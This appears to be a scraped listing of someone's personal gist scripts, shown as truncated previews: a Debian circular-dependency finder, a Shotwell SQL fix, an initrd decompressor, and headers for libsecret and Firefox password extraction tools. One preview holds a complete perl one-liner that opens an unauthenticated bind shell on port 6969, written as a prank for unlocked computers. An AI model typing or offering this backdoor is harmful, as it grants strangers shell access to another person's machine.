This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
Find deb packages which are not marked as auto-removable because they | |
participate in a circular dependency loop. | |
This script was taken from that contributed by gnack at | |
<http://forums.debian.net/viewtopic.php?f=10&t=74238>. | |
I've updated it to python 3 and made it work more reliably on multiarch. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* WhatsApp photos in shotwell don't get an exposure time set, but it can be backfilled from the filename | |
* sqlite3 .local/share/shotwell/photo.db | |
*/ | |
update videotable set exposure_time=unixepoch(substring(filename, -19, 4)||"-"||substring(filename, -15, 2)||"-"||substring(filename, -13, 2)||"T00:00:00") where filename like "%VID-%-WA%.mp4" and exposure_time=0; | |
update phototable set exposure_time=unixepoch(substring(filename, -19, 4)||"-"||substring(filename, -15, 2)||"-"||substring(filename, -13, 2)||"T00:00:00") where filename like "%IMG-%-WA%.jpg" and exposure_time=0; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# decompress-initrd | |
# | |
# Decompress Linux kernel initrds where they consist of a microcode update | |
# followed by the actual initrd. | |
# | |
# This script was taken from that contributed by woolpool at | |
# <https://unix.stackexchange.com/questions/163346/why-is-it-that-my-initrd-only-has-one-directory-namely-kernel>. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# This was based on a silly discussion at $job about a colleague who left their | |
# computer unlocked. It runs a daemon that accepts connections and forks a | |
# bash shell for each. The requirements were that it doesn't need any additional | |
# software installing on a typical Linux host, and is short enough to type | |
# in at the keyboard. | |
perl -MIPC::Open3 -MIO::Socket::INET -e '$s = IO::Socket::INET->new(Listen => 1, LocalPort => 6969); while(1) { $c = $s->accept; $f = fileno $c; open3("<&$f", ">&$f", ">&$f", "bash", "-il");}' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" | |
# extract_secret_storage.py | |
Dumps out the contents of your libsecret storage (eg. gnome-keyring). | |
Requires: | |
- <https://www.python.org/> | |
- <https://pypi.org/project/SecretStorage/> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# ``` | |
# extract_firefox_passwords.sh profile_directory master_password | |
# ``` | |
# | |
# Requires `jq` and `pwdecrypt` (in linbss3-utils). If you have not set a master password, use the empty string. | |
# | |
# This is based on the examples at <https://blog.tajuma.com/?p=35>. |